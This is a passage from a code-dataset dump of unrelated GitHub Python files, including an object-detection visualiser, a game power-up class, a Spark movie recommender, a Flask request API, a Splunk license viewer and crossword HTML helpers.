fig.add_patch(plt.Rectangle((bbox[0], bbox[1]), bbox[2] - bbox[0], bbox[3] - bbox[1], fill=False,\n edgecolor='green', linewidth=1))\n plt.axis('off')\n plt.tight_layout()\n plt.draw()\n plt.show()\n\n\nif __name__ == '__main__':\n args = parse_args()\n cls_list = ['_' for _ in range(81)]\n # datasets\n val = TrainDataset(args.base_path, args.img_list, args.use_mode, cls_list, phase='test')\n num = len(val)\n np.set_printoptions(formatter={'float': '{: 0.4f}'.format})\n New2Old = cvb.load('/data/luqi/coco-master/PythonAPI/Newlabel.pkl')\n for i in range(num):\n all_class_box_feature, all_class_box_box, all_class_box_score, all_class_box_label, all_class_box_weight, all_class_box_origin_score, all_class_box_origin_box, unique_class, unique_class_len, image_id, phase_np = val[i]\n im_file = os.path.join(args.base_path, 'img/'+ str(image_id).zfill(12)+'.jpg')\n im = cv2.imread(im_file)\n # bboxes = []\n valid_num = 0\n all_num = unique_class_len[80]\n cls_num = 0\n cls_all_num = 0\n cls_info = []\n cls_name = []\n cls_bbox = []\n for cls_index in range(80):\n if unique_class[cls_index] == 0:\n continue\n # print(New2Old[str(cls_index+1)][0])\n cls_all_num += 1\n start = int(unique_class_len[cls_index])\n end = int(unique_class_len[cls_index+1])\n if(all_class_box_label[start, 0]==1):\n cls_num += 1\n valid_num += end - start\n bboxes = all_class_box_origin_box[start:end, 0:4]\n cls_bbox.append(bboxes)\n cls_name.append(New2Old[str(cls_index+1)][0])\n cls_info.append([New2Old[str(cls_index+1)][0], int(all_class_box_label[start, 0]), end - start, np.max(all_class_box_origin_score[start:end, 0]), np.mean(all_class_box_origin_score[start:end, 0])]) \n # cvb.draw_bboxes(img, bboxes, win_name='aa')\n \n # print(np.concatenate((all_class_box_origin_score[start:end, 0].reshape(-1, 1), all_class_box_label[start:end, 0].reshape(-1, 1), all_class_box_origin_box[start:end, 0:4].reshape(-1, 4)), axis=1))\n print('image_id:{}, proposal:{}/{},{}, class:{}/{},{}'.format(image_id, valid_num, all_num, valid_num/all_num, cls_num, cls_all_num, cls_num/cls_all_num))\n print(DataFrame(cls_info, columns=['class','gt','num', 'max_score', 'mean_score']))\n vis_detections(im, cls_name, cls_bbox)\n \n input()\n # for index in range(start, end):\n # if(all_class_box_label[index]==0):\n # continue\n # x1, y1, x2, y2 = all_class_box_origin_box[index, 0:4]\n # score = all_class_box_origin_score[index, 0]\n # category_id = New2Old[str(cls_index+1)][1]\n # bboxes.append({'bbox': [int(x1), int(y1), int(x2)-int(x1)+1, int(y2)-int(y1)+1], 'score': float(score), 'category_id':category_id, 'image_id':int(image_id)})\n # count += 1\n # thread_result.extend(bboxes)\n # end_time = time.time()\n # print_time = float(end_time-start_time)\n # print('thread_index:{}, index:{}, image_id:{}, cost:{}'.format(thread_index, i, image_id, print_time))\n # result.extend(thread_result)\n","repo_name":"qqlu/Sequential-Context-Encoding-for-Duplicate-Removal","sub_path":"LSTM_11/script/check_visualize_1.py","file_name":"check_visualize_1.py","file_ext":"py","file_size_in_byte":5611,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"31"} +{"seq_id":"72911563929","text":"import pgl as GraphicLib\n\nclass BuffBase(GraphicLib.GCompound):\n DIAMETER = 20\n RADIUS = DIAMETER / 2\n STAGE_COUNT = 6\n REFRESH_RATE = 15\n\n STAGE_1 = GraphicLib.convertRGBToColor(0x75C38A)\n STAGE_2 = GraphicLib.convertRGBToColor(0xB5D16D)\n STAGE_3 = GraphicLib.convertRGBToColor(0xF7C443)\n STAGE_4 = GraphicLib.convertRGBToColor(0xED6242)\n STAGE_5 = GraphicLib.convertRGBToColor(0xB7263D)\n FINAL_STAGE = GraphicLib.convertRGBToColor(0xFFFFFF)\n\n COLOR_STAGE = {1: STAGE_1, 2: STAGE_2, 3: STAGE_3, 4: STAGE_4, 5: STAGE_5, 6: FINAL_STAGE}\n\n def __init__(self, main_window, method, name, stage_time=1000):\n super().__init__()\n\n self.under = GraphicLib.GOval(self.DIAMETER, self.DIAMETER)\n self.under.setFilled(True)\n self.under.setColor(self.STAGE_2)\n\n self.upper = GraphicLib.GArc(self.DIAMETER+1, self.DIAMETER+1, 90, 360)\n self.upper.setFilled(True)\n self.upper.setColor(self.STAGE_2)\n\n self.text_indicator = GraphicLib.GLabel(name)\n self.text_indicator.setColor(\"white\")\n\n self.add(self.under)\n self.add(self.upper)\n self.add(self.text_indicator, self.RADIUS/2, self.RADIUS * 1.7)\n\n self.main_window = main_window\n self.buff_method = method\n self.stage_time = stage_time\n self.loop_times = stage_time // self.REFRESH_RATE\n self.sweep_angel_delta = 360 / self.loop_times\n self.CENTER_POINT = None\n\n self.current_stage = 1\n self.current_loop = 0\n self.spin_clock = None\n\n def animation(self):\n self.animation_helper()\n self.sendBackward()\n\n def spin(self):\n self.is_hit()\n if self.current_loop > self.loop_times:\n self.spin_clock.stop()\n self.current_loop = 0\n self.animation_helper()\n else:\n self.upper.setSweepAngle(self.upper.getSweepAngle() - self.sweep_angel_delta)\n self.current_loop += 1\n\n def animation_helper(self):\n if self.current_stage == BuffBase.STAGE_COUNT:\n self.main_window.remove(self)\n del self\n else:\n self.CENTER_POINT = (self.getX() + self.RADIUS, self.getY() + self.RADIUS)\n self.upper.setColor(BuffBase.COLOR_STAGE[self.current_stage])\n self.upper.setSweepAngle(359)\n self.under.setColor(BuffBase.COLOR_STAGE[self.current_stage + 1])\n\n self.spin_clock = self.main_window.setInterval(self.spin, self.REFRESH_RATE)\n\n self.current_stage += 1\n\n def is_hit(self):\n import Components\n eles = self.main_window.get_elements_at(*self.CENTER_POINT)\n if len(eles) > 1:\n for ele in eles:\n if issubclass(ele.__class__, Components.BigJetPlane):\n self.buff_method(ele)\n self.main_window.remove(self)\n # del self\n\n @staticmethod\n def add_bullet_buff_factory(main_window, entity):\n return BuffBase(main_window, entity.bullet_num_increase_buff, \"B\")\n\n @staticmethod\n def add_protector_buff_factory(main_window, entity):\n return BuffBase(main_window, entity.add_protector_buff, \"P\")\n\n @staticmethod\n def add_nuclear_protector_buff_factory(main_window, entity):\n return BuffBase(main_window, entity.add_nuclear_protector_buff, \"N\")\n\n @staticmethod\n def add_health_buff_factory(main_window, entity):\n return BuffBase(main_window, entity.add_health_buff, \"H\")\n\n\nif __name__ == \"__main__\":\n import Components\n gw = GraphicLib.GWindow(600, 400)\n buff = BuffBase.add_health_buff_factory(gw, Components.BigJetPlane)\n gw.add(buff, 300, 200)\n buff.animation()\n","repo_name":"FlickerSoul/Big-Jet-Plane","sub_path":"Buffs.py","file_name":"Buffs.py","file_ext":"py","file_size_in_byte":3712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15835156510","text":"import os\nfrom pyspark.mllib.recommendation import ALS\nfrom pyspark.sql.DataFrame import columns\n\nimport logging\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\nALS\n\ndef get_counts_and_averages(ID_and_ratings_tuple):\n \"\"\"Given a tuple (movieID, ratings_iterable) \n returns (movieID, (ratings_count, ratings_avg))\n \"\"\"\n nratings = len(ID_and_ratings_tuple[1])\n return ID_and_ratings_tuple[0], (nratings, float(sum(x for x in ID_and_ratings_tuple[1]))/nratings)\n\n\nclass RecommendationEngine:\n \"\"\"A movie recommendation engine\n \"\"\"\n\n def __count_and_average_ratings(self):\n \"\"\"Updates the movies ratings counts from \n the current data self.ratings_RDD\n \"\"\"\n logger.info(\"Counting movie ratings...\")\n self.ratingsCount = self.ratingsDF.count()\n self.moviesCount = self.moviesDF.count()\n print('There are {0} ratings and {1} movies in the datasets.'.format(self.ratingsCount, self.moviesCount))\n\n\n def __train_model(self):\n \"\"\"Train the ALS model with the current dataset\n \"\"\"\n logger.info(\"Training the ALS model...\")\n self.spark.conf.set(\"spark.sql.shuffle.partitions\", \"16\")\n als = (ALS()\n .setUserCol(\"userId\")\n .setItemCol(\"movieId\")\n .setRatingCol(\"rating\")\n .setPredictionCol(\"predictions\")\n .setMaxIter(2)\n .setSeed(self.seed)\n .setRegParam(0.1)\n .setColdStartStrategy(\"drop\")\n .setRank(12))\n self.alsModel = als.fit(self.trainingDF)\n logger.info(\"ALS model built!\")\n\n\n def __predict_ratings(self, user_and_movieDF):\n \"\"\"Gets predictions for a given (userID, movieID) formatted RDD\n Returns: an RDD with format (movieTitle, movieRating, numRatings)\n \"\"\"\n predictedDF = self.model.predictAll(user_and_movieDF)\n predicted_ratingDF = predicted_RDD.map(lambda x: (x.product, x.rating))\n \n return predicted_rating_title_and_count_RDD\n \n def add_ratings(self, ratings):\n \"\"\"Add additional movie ratings in the format (user_id, movie_id, rating)\n \"\"\"\n # Convert ratings to an dataframe\n new_ratings = self.spark.createDataFrame(ratings, columns)\n # Add new ratings to the existing ones\n self.ratingsDF = self.ratingsDF.union(new_ratings)\n # Re-compute movie ratings count\n self.__count_and_average_ratings()\n # Re-train the ALS model with the new ratings\n self.__train_model()\n \n return ratings\n\n def get_ratings_for_movie_ids(self, user_id, movie_ids):\n \"\"\"Given a user_id and a list of movie_ids, predict ratings for them \n \"\"\"\n requested_movies_RDD = self.sc.parallelize(movie_ids).map(lambda x: (user_id, x))\n # Get predicted ratings\n ratings = self.__predict_ratings(requested_movies_RDD).collect()\n\n return ratings\n \n def get_top_ratings(self, user_id, movies_count):\n \"\"\"Recommends up to movies_count top unrated movies to user_id\n \"\"\"\n # Get pairs of (userID, movieID) for user_id unrated movies\n user_unrated_movies_RDD = self.ratings_RDD.filter(lambda rating: not rating[0] == user_id)\\\n .map(lambda x: (user_id, x[1])).distinct()\n # Get predicted ratings\n ratings = self.__predict_ratings(user_unrated_movies_RDD).filter(lambda r: r[2]>=25).takeOrdered(movies_count, key=lambda x: -x[1])\n\n return ratings\n\n def __init__(self, spark, dataset_path):\n \"\"\"Init the recommendation engine given a Spark context and a dataset path\n \"\"\"\n\n logger.info(\"Starting up the Recommendation Engine: \")\n\n self.spark = spark\n\n # Load ratings data for later use\n logger.info(\"Loading Ratings data...\")\n ratings_df_schema = \"userId integer, movieId integer, rating float\"\n self.ratingsDF = spark.read.csv(\"../datasets/ml-latest/ratings.csv\", header=True, schema=ratings_df_schema).cache()\n # Load movies data for later use\n logger.info(\"Loading Movies data...\")\n movies_df_schema = \"ID integer, title string\"\n self.moviesDF = spark.read.csv(\"../datasets/ml-latest/movies.csv\", header=True, schema=movies_df_schema)\n # Pre-calculate movies ratings counts\n self.__count_and_average_ratings()\n\n # Train the model\n self.rank = 12\n self.seed = 42\n self.iterations = 2\n self.regularization_parameter = 0.1\n (self.trainingDF, self.testDF) = self.ratingsDF.randomSplit([0.8, 0.2], seed=self.seed)\n print('Training: {0}, test: {1}'.format(self.trainingDF.count(), self.testDF.count()))\n self.__train_model() \n","repo_name":"RickWayne1125/Movie4U","sub_path":"spark/neural/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":4787,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"28026153028","text":"from flask import Flask, request, jsonify,abort\nimport json\nfrom models import *\n\napp = Flask(__name__)\n\n#create a new request\n@app.route('/api/v1/users/requests' ,methods= ['POST'])\ndef create_request():\n\n \"\"\"\n This endpoint creates a maintance request ticket\n \"\"\"\n # 1. get the data from request\n data = request.get_json()\n #make sure empty strings are not allowed\n _requests = data.get('requests')\n if not _requests or _requests == '':\n return jsonify ({'message': 'Missing information. Please fill in'}), 400\n _types = data.get('type')\n if not _types or _types =='':\n return jsonify ({'message': 'Missing infor Please fill in'}), 400\n\n # 2. validate the data \n try:\n if isinstance(data['requests'].encode(), str) and isinstance(data['type'].encode(), str):\n # 3. store the data\n id = len(maintance_requests) # count how many maintance requests you have save so far\n id += 1 \n \n # req = a_request(id, data['request'], data['type'])\n requ = {\n 'id':id,\n 'requests':data['requests'],\n 'type':data['type']\n }\n maintance_requests.append(requ) # Save request in the list\n\n return jsonify({\n 'requests':requ\n }), 201\n #Add an Attribut error to catch the errors\n except AttributeError:\n return jsonify({\n 'status': 'FAIL',\n 'message': 'Failed to create a request. Invalid data'\n }), 400\n\n#create an api endpoint for modifying requests\n@app.route('/api/v1/users/requests/' ,methods= ['PUT'])\ndef modify_request(id):\n # 1. get the data from request\n \n data = request.get_json()\n \"\"\"\n This endpoint modifies a request \n \"\"\"\n \n \n #try:\n if isinstance(data['requests'].encode(), str) and isinstance(data['type'].encode(), str):\n maintance_requests[int(id)-1]['requests'] = data['requests'].encode() #references a parameter in the dictionary \n maintance_requests[int(id)-1]['type'] = data['type'].encode()\n\n return jsonify({\n 'status': 'OK',\n 'request': maintance_requests[int(id)-1]['requests'],\n 'message': 'A Request has been modified',\n 'request_id': id\n \n }), 200\n#except AttributeError, IndexError):\n else:\n return jsonify({\n 'status': 'FAIL',\n 'message': 'Failed to modify a request. Invalid data'\n }), 400\n\n#create API endpoints for fetching all requests\n@app.route('/api/v1/users/requests',methods= ['GET'])\ndef fetch_all_requests():\n count = len(maintance_requests) # count how many maintance requests you have save so far\n #requests = maintance_requests\n\n\n return jsonify({\n 'status': 'OK',\n 'message': 'here are all your requests',\n 'request_number': count,\n 'requests': maintance_requests\n\n }), 200\n\n#create API endpoints for fecthind a single id\n@app.route('/api/v1/users/requests/', methods = ['GET'])\ndef fetch_request_id(requestID):\n \n data_r = [data_r2 for data_r2 in maintance_requests if data_r2['id'] == requestID ]\n if len(data_r) == 0:\n return \"Please fill in a valid ID\"\n return jsonify({\n 'data_r':data_r[0]\n }),200\n\n\nif __name__ == '__main__':\n app.run(debug='True')\n \n ","repo_name":"RachaelNantale/Flask-api-restful","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5354730810","text":"import cv2\nimport numpy as np\n\ndef rotateAndScale(img, angle , scaleFactor = 1.0):\n degreesCCW = angle\n (oldY,oldX) = img.shape[:2] \n M = cv2.getRotationMatrix2D(center=(oldX/2,oldY/2), angle=degreesCCW, scale=scaleFactor) \n newX,newY = oldX*scaleFactor,oldY*scaleFactor\n r = np.deg2rad(degreesCCW)\n newX,newY = (abs(np.sin(r)*newY) + abs(np.cos(r)*newX),abs(np.sin(r)*newX) + abs(np.cos(r)*newY))\n (tx,ty) = ((newX-oldX)/2,(newY-oldY)/2)\n M[0,2] += tx \n M[1,2] += ty\n rotatedImg = cv2.warpAffine(img, M, dsize=(int(newX),int(newY)),flags=cv2.INTER_CUBIC, borderValue=(255,255,255))\n return rotatedImg\n\n","repo_name":"phamvandan/OCR_WEB","sub_path":"utils/skew_process/rotation.py","file_name":"rotation.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"18153140271","text":"#!/usr/bin/env python\n#\n# This script runs the command to get all Splunk Licenses, parses the output\n# and prints it up in human-readable format.\n#\n\nimport argparse\nimport json\nimport logging\nlogger = logging\nimport socket, errno\nimport subprocess\nimport os\nimport os.path\nimport sys\nimport time\n\n#parser = argparse.ArgumentParser(description = \"Display Splunk License Info\")\n#parser.add_argument(\"--debug\", help = \"Enable debug messages\", action = \"store_true\" )\n\n#args = parser.parse_args()\n\n#\n# ANSI color codes.\n#\ncolor_green = '\\033[92m'\ncolor_yellow = '\\033[93m'\ncolor_red = '\\033[91m'\ncolor_end = '\\033[0m'\n\n\n#\n# Set up logging\n#\ndate_format = \"%Y-%m-%d %H:%M:%S\"\nformat = \"%(asctime)s.%(msecs)03d: %(levelname)s: %(message)s\"\n\nlevel = logging.INFO\n\nlogging.basicConfig(level = level, format = format, datefmt = date_format)\n\n\n#\n# This function runs a command and returns the output as a string.\n# If there is anything on standard error or a non-zero return code, an exception is thrown.\n#\ndef runCmd(cmd):\n\n\tlogging.info(\"Executing command '%s'...\" % cmd)\n\tprocess = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\tretval = process.wait()\n\t(stdout, stderr) = process.communicate()\n\n\tif retval or stderr:\n\t\terror = \"Retval: %d, stderr: %s\" % (retval, stderr)\n\t\traise Exception(error)\n\n\treturn(stdout)\n\n\n#\n# Check to see if this line is a new license. New licneses are a 64-byte Sha-256\n# on a line by themselves.\n#\ndef isNewLicense(text):\n\n\tif \":\" in text:\n\t\treturn False\n\n\tif len(text) == 64:\n\t\treturn True\n\n\treturn False\n\n\n#\n# Turn the number of bytes into a human-readable string\n#\ndef getQuotaHuman(quota):\n\n\tretval = quota\n\n\tmb = 1024 * 1024\n\tgb = mb * 1024\n\n\tif (quota > gb):\n\t\tretval = (\"%.2f GB\" % (quota / gb) )\n\n\telif (quota > mb):\n\t\tretval = (\"%.2f MB\" % (quota / mb) )\n\n\telse:\n\t\tretval = (\"%s B\" % (quota))\n\n\treturn(retval)\n\n\n#\n# Parse the text from Splunk's license command.\n#\n# Array of dictionaries is returned with info on each license.\n#\ndef parseLicenseText(text):\n\n\tretval = []\n\trow = {}\n\n\tfor line in text.split(\"\\n\"):\n\n\t\tfields = line.split(\"\\t\")\n\t\tindex = len(fields) - 1\n\t\tfield = fields[index]\n\n\t\tif isNewLicense(field):\n\t\t\t#logger.info(\"Found new license: %s\", field)\n\t\t\tif (row):\n\t\t\t\tretval.append(row)\n\t\t\trow = {}\n\n\t\tvalues = field.split(\":\")\n\t\tif values[0] == \"quota\":\n\t\t\trow[\"quota\"] = int(values[1])\n\t\t\trow[\"quota_human\"] = getQuotaHuman(int(values[1]))\n\n\t\telif values[0] == \"creation_time\":\n\t\t\trow[\"creation_time\"] = values[1]\n\t\t\trow[\"creation_time_human\"] = time.strftime(\"%Y-%m-%d %H:%M:%S\",\n\t\t\t\ttime.gmtime(int(values[1])))\n\n\t\telif values[0] == \"expiration_time\":\n\t\t\trow[\"expiration_time\"] = values[1]\n\t\t\trow[\"expiration_time_human\"] = time.strftime(\"%Y-%m-%d %H:%M:%S\",\n\t\t\t\ttime.gmtime(int(values[1])))\n\n\t\telif values[0] == \"label\":\n\t\t\trow[\"label\"] = values[1]\n\n\t\telif values[0] == \"license_hash\":\n\t\t\trow[\"license_hash\"] = values[1]\n\n\t\telif values[0] == \"status\":\n\t\t\trow[\"status\"] = values[1]\n\n\treturn(retval)\n\n\n#\n# Print up our license data\n#\ndef printLicenses(data):\n\n\ttotal_bytes = 0\n\n\tprint(\"%8s %12s %20s %20s %s\" % (\"Status\", \"Quota\", \"Creation Date\", \"Expiration Date\", \"Label\"))\n\tprint(\"%8s %12s %20s %20s %s\" % (\"========\", \"==========\", \"===================\", \"===================\", \"============================\"))\n\n\tnow = time.time()\n\tmonth = 86400 * 30\n\n\tfor row in data:\n\t\ttotal_bytes += row[\"quota\"]\n\n\t\trow[\"status_local\"] = row[\"status\"]\n\n\t\tif row[\"status_local\"] == \"VALID\":\n\t\t\ttime_left = int(row[\"expiration_time\"]) - now\n\t\t\tif (time_left < month):\n\t\t\t\trow[\"status_local\"] = \"WARNING\"\n\n\t\tcolor = color_green\n\t\tif row[\"status_local\"] != \"VALID\":\n\t\t\tif row[\"status_local\"] == \"WARNING\":\n\t\t\t\tcolor = color_yellow\n\t\t\telse:\n\t\t\t\tcolor = color_red\n\n\t\tprint(\"%s%8s %12s %20s %20s %s%s\" % (color, row[\"status_local\"], row[\"quota_human\"], row[\"creation_time_human\"], row[\"expiration_time_human\"], row[\"label\"], color_end))\n\n\tprint(\"\")\n\tprint(\"Total Quota bytes: %s%s%s\" % (color_green, getQuotaHuman(total_bytes), color_end))\n\tprint(\"\")\n\n\n#\n# Determine the location of our Splunk executable, based on a few popular locations.\n#\ndef getSplunkPath():\n\n\tlocations = [\n\t\t\"/opt/splunk/bin/splunk\",\n\t\t\"/var/splunk/bin/splunk\"\n\t\t]\n\n\tfor file in locations:\n\t\tif os.path.isfile(file):\n\t\t\treturn(file)\n\n\tif os.getenv(\"SPLUNK_HOME\"):\n\t\tfile = os.getenv(\"SPLUNK_HOME\") + \"/bin/splunk\"\n\t\tif os.path.isfile(file):\n\t\t\treturn(file)\n\n\traise Exception(\"Could not find Splunk binary! Try setting the SPLUNK_HOME envioronment variable to point to your Splunk installation. BTW, I tried these locations: %s\" % (locations))\n\n\ndef main():\n\n\tsplunk = getSplunkPath()\n\n\tcmd = \"%s list licenses\" % (splunk)\n\tlogger.info(\"Running command %s...\" % cmd)\n\tlicense_text = runCmd(cmd)\n\t#print license_text # Debugging\n\n\tlicense_data = parseLicenseText(license_text)\n\t#print json.dumps(license_data, indent=4, sort_keys=True) # Debugging\n\t\n\tprintLicenses(license_data)\n\n\nmain()\n\n\n","repo_name":"Comcast/view-splunk-licenses","sub_path":"view-splunk-licenses.py","file_name":"view-splunk-licenses.py","file_ext":"py","file_size_in_byte":4937,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"3965439877","text":"import re\nimport cgi\nimport time\nfrom collections import Counter\nimport xdfile\nfrom calendar import HTMLCalendar\nfrom datetime import date\nfrom xdfile import utils\n\nfrom queries.similarity import grid_similarity\n\n\ndef year_widget(dow_dict, total, fill_class=None):\n # Generate SVG based widget for day of week dispersion for year\n fill_class = fill_class or 'white'\n b = []\n b.append('')\n b.append('' % fill_class)\n for i, v in enumerate(utils.WEEKDAYS):\n _class = dow_dict[v]['class'] if 'class' in dow_dict[v].keys() else ''\n _length = str(dow_dict[v]['count']) if 'count' in dow_dict[v].keys() else '0'\n _length = _length if int(_length) < 26 else '30' # for all 52/2 have full filled row\n b.append('')\n b.append('')\n return(' '.join(b))\n\ndef decade_widget(total, fill_class=None):\n # Generate SVG based widget for decade showing total\n fill_class = fill_class or 'green'\n b = []\n b.append('')\n b.append('' % fill_class)\n b.append('' + str(total) + '')\n b.append('')\n return(' '.join(b))\n\nclass GridCalendar(HTMLCalendar):\n \"\"\"\n Generate HTML calendar with links on certain pages with styles\n \"\"\"\n def __init__(self, grids):\n super(GridCalendar, self).__init__()\n self.grids = grids\n\n def formatday(self, day, weekday):\n if day != 0:\n cssclass = self.cssclasses[weekday]\n cdate = str(date(self.year, self.month, day))\n # If links in supplied link and not empty\n if cdate in self.grids:\n # Supply class or link via dict\n if 'class' in self.grids[cdate]:\n cssclass += ' ' + self.grids[cdate]['class']\n if 'link' in self.grids[cdate]:\n htitle = self.grids[cdate]['title'] if self.grids[cdate]['title'] else ''\n body = mkhref(str(day), self.grids[cdate]['link'], htitle) \n else:\n body = str(day)\n return self.day_cell(cssclass, '%s' % (body))\n return self.day_cell(cssclass, day)\n return self.day_cell('noday', ' ')\n\n def formatmonth(self, year, month, withyear=False):\n self.year, self.month = year, month\n return super(GridCalendar, self).formatmonth(year, month, withyear)\n \n def day_cell(self, cssclass, body):\n text = []\n text.append(mktag('td', cssclass))\n text.append(str(body))\n text.append(mktag('/td'))\n return ''.join(text)\n\n def formatyear(self, theyear, width=3, vertical=False):\n \"\"\"\n Return a formatted year as a table of tables.\n \"\"\"\n # Constants for months referenced later\n January = 1\n\n v = []\n a = v.append\n width = max(width, 1)\n a('

    ')\n a('\\n')\n \n # Align header horizontally\n if not vertical:\n a('' % (width, theyear, theyear))\n for i in range(January, January+12, width):\n # months in this row\n months = range(i, min(i+width, 13))\n a('')\n if vertical:\n a('' % (theyear, '
    '.join(str(theyear))))\n for m in months:\n a('')\n a('')\n a('
    %s
    %s')\n a(self.formatmonth(theyear, m, withyear=False))\n a('
    ')\n return ''.join(v)\n\nnavbar_items = [\n ('Home','/'),\n ('About', '/about'),\n ('Data', '/data'),\n ('Most Popular', [\n ('Words','/words'),\n ('Clues','/clues'),\n ]),\n]\n\n#todo: output navbar_items like in https://codepen.io/philhoyt/pen/ujHzd\ndef navbar_helper(item, current_url):\n r = '
      '\n for name, dest in item:\n if dest == current_url:\n r += '
    • '\n else:\n r += '
    • '\n if isinstance(dest, list):\n r += navbar_helper(dest, current_url)\n else:\n r += '%s' % (dest, name)\n r += '
    • '\n r += '
    '\n return r\n\ndef html_header(current_url=None, title='xd page'):\n npuzzles = len(xdfile.g_corpus)\n\n h = \"\"\"\n\n\n\n\n\n \n {title}\n \n \n\n\n\n\"\"\".format(title=title)\n\n\n h += ''\n\n h += '
    '\n h += '

    {title}

    '.format(title=title)\n if npuzzles:\n h += ' from a corpus of {npuzzles} puzzles'.format(npuzzles=npuzzles)\n\n return h\n\n\n\ndef html_footer():\n dt = time.strftime('%F')\n return \"\"\"\n
    \nGenerated on {date}\n
    \na saul.pw project\n
    \n\n\n\"\"\".format(date=dt)\n\n\ndef redirect_page(url):\n return \"\"\"\nRedirecting to {url}\"\"\".format(url=url)\n\n\ndef mktag(tagname, tagclass='', inner=None, tag_params=None):\n \"\"\" generates tag:\n or if tag_params dict passed inner\n * tagclass or if tag_params dict passed will be overloaded by tag_params['class'] \n \n \"\"\"\n ret = ''\n if tag_params:\n _params = []\n for p, v in tag_params.items():\n _params.append('%s=\"%s\"' % (p, v))\n else:\n _params = [ 'class=\"%s\"' % tagclass ] \n \n ret += '<%s %s>' % (tagname, \" \".join(_params))\n\n if inner is not None:\n ret += inner\n ret += mktag('/' + tagname)\n\n return ret\n\n\ndef mkhref(text, link, title=\"\"):\n if title:\n return '%s' % (link, title, text)\n else:\n return '%s' % (link, text)\n\n\ndef th(*cols, rowclass=''):\n return td(*cols, rowclass=rowclass, tag='th')\n\n\ndef td(*cols, rowclass='', href='', tag='td'):\n r = ''\n r += mktag('tr', rowclass)\n for x in cols:\n r += mktag(tag)\n if href:\n r += mkhref(href, str(x))\n else:\n r += str(x)\n r += mktag('/' + tag)\n r += mktag('/tr')\n return r\n\n\ndef td_with_class(*cols, classes=[], rowclass='', href='', tag='td'):\n \"\"\"\n Print td with class defined per element provided by list\n \"\"\"\n r = ''\n r += mktag('tr', rowclass)\n for i, x in enumerate(cols):\n try:\n class_ = classes[i]\n except IndexError:\n class_ = ''\n r += mktag(tag, class_)\n if href:\n r += mkhref(href, str(x))\n else:\n r += str(x)\n r += mktag('/' + tag)\n r += mktag('tr')\n return r\n\n\ndef tr_empty(class_=\"emptytd\"):\n \"\"\"\n Generates empty table row with class=emptytd by default\n \"\"\"\n return ' '\n\n# list of options, possibly duplicate. presents and groups by strmaker(option)\n\n\ndef html_select_options(options, strmaker=str, force_top=\"\", add_total=True):\n if not options:\n return strmaker(force_top)\n\n if isinstance(options, Counter):\n pairs = options.items()\n else:\n groups = {}\n for opt in options:\n s = strmaker(opt)\n if not s in groups:\n groups[s] = [opt]\n else:\n groups[s].append(opt)\n\n pairs = [(k, len(v)) for k, v in groups.items()]\n\n return html_select_options_freq(pairs, strmaker=strmaker, force_top=force_top, add_total=add_total)\n\n\ndef html_select_options_freq(pairs, strmaker=str, force_top=\"\", add_total=True):\n def strnum(s, n):\n assert n > 0\n if n == 1:\n return s\n else:\n return \"%s [x%s]\" % (s, n)\n\n freq_sorted = []\n\n if force_top:\n # TODO: get actual nuses if already in pairs\n freq_sorted.append((1, strmaker(force_top)))\n\n freq_sorted.extend(sorted([(v, k or \"(misc)\") for k, v in pairs], reverse=True))\n\n\n if not freq_sorted:\n return \"\"\n\n elif len(freq_sorted) == 1:\n n, k = freq_sorted[0]\n return strnum(k, n)\n\n r = mktag('div', 'options')\n r += mktag('select')\n\n for n, k in freq_sorted:\n r += '' % strnum(k, n)\n\n r += mktag('/select')\n r += mktag('/div')\n if add_total:\n r += ' %s' % len(freq_sorted)\n return r\n\n\ndef table_row(row, keys, rowclass=\"row\", tag=\"td\", tag_params=None, inner_only=False):\n # row - list or dict\n # keys - assign as class for each itterable from row \n # rowclass - class(es) for tr (row)\n # tag - tag to be used for cells in row - default: td\n # tag_params - \n if isinstance(row, dict):\n row = [row[k] for k in keys]\n\n out = ''\n if not inner_only:\n out += mktag('tr', rowclass, tag_params=tag_params)\n\n for k, v in zip(keys, row):\n try:\n v = str(v or \"\")\n except UnicodeDecodeError:\n v = \"???\"\n\n if inner_only:\n out += mktag(tag, k.strip(), tag_params=tag_params)\n else:\n out += mktag(tag, k.strip())\n out += v\n out += mktag('/' + tag) # end cell\n\n if not inner_only:\n out += mktag('/tr') + '\\n' # end row\n return out\n\n\ndef html_table(rows, colnames, rowclass=\"row\", tableclass=\"\", inner_only=False):\n \"\"\"\n Generates html table with class defined\n each row can be a list - then rowclass applied\n or dict - {row:row, class:rowclass, param:rowparam}\n \"\"\"\n out = ''\n if not inner_only:\n out += mktag('table', tableclass)\n out += table_row(colnames, colnames, tag='th')\n\n for r in rows:\n r_text = r['row'] if isinstance(r, dict) else r\n r_class = r['class'] if isinstance(r, dict) and 'class' in r.keys() else rowclass\n r_param = r['tag_params'] if isinstance(r, dict) and 'tag_params' in r.keys() else None\n out += table_row(r_text, colnames, rowclass=r_class, tag_params=r_param)\n\n if not inner_only:\n out += mktag('/table') # end table\n return out\n\n\ndef tsv_to_table(rows):\n return html_table(rows, rows[0]._fields)\n\ndef markup_to_html(s):\n s = re.sub(r'{/(.*?)/}', r'\\1', s)\n s = re.sub(r'{\\*(.*?)\\*}', r'\\1', s)\n s = re.sub(r'{-(.*?)-}', r'\\1', s)\n s = re.sub(r'{_(.*?)_}', r'\\1', s)\n return s\n\n\ndef headers_to_html(xd):\n # headers\n r = '
      '\n for k in \"Title Author Editor Copyright\".split():\n v = xd.get_header(k)\n if v:\n r += '
    • %s: %s
    • ' % (k, k, v)\n else:\n r += '
    • '\n r += '
    '\n return r\n\n\ndef grid_to_html(xd, compare_with=None):\n \"htmlify this puzzle's grid\"\n\n grid_html = '
    '\n for r, row in enumerate(xd.grid):\n grid_html += '
